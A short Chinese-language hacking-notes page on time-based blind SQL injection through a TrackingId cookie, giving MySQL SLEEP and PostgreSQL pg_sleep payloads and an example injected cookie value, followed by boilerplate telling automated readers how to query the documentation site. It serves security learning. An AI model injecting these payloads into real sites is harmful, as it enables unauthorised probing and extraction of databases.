# 基于时间的盲 SQL 注入
### 带时间延迟的盲 SQL 注入
**背景：** ……的值 `TrackingId` cookie 被插入到执行的 SQL 请求中 **同步地**。HTTP 响应不会直接显示查询结果，但我们可以使 **条件性时间** （sleep）来推断信息（基于时间的盲 SQL 注入）。
#### 提供的有效载荷（应放在 cookie 的合法部分之后，例如 `TrackingId=' -- -`)
* **MySQL** :
```
' AND SLEEP(10)-- -
```
* **PostgreSQL** :
```
' || pg_sleep(10)-- -
```
> 具体示例（cookie）：/ `TrackingId=abc123' AND SLEEP(10)-- -` （MySQL）

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/time-based-blind-sql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
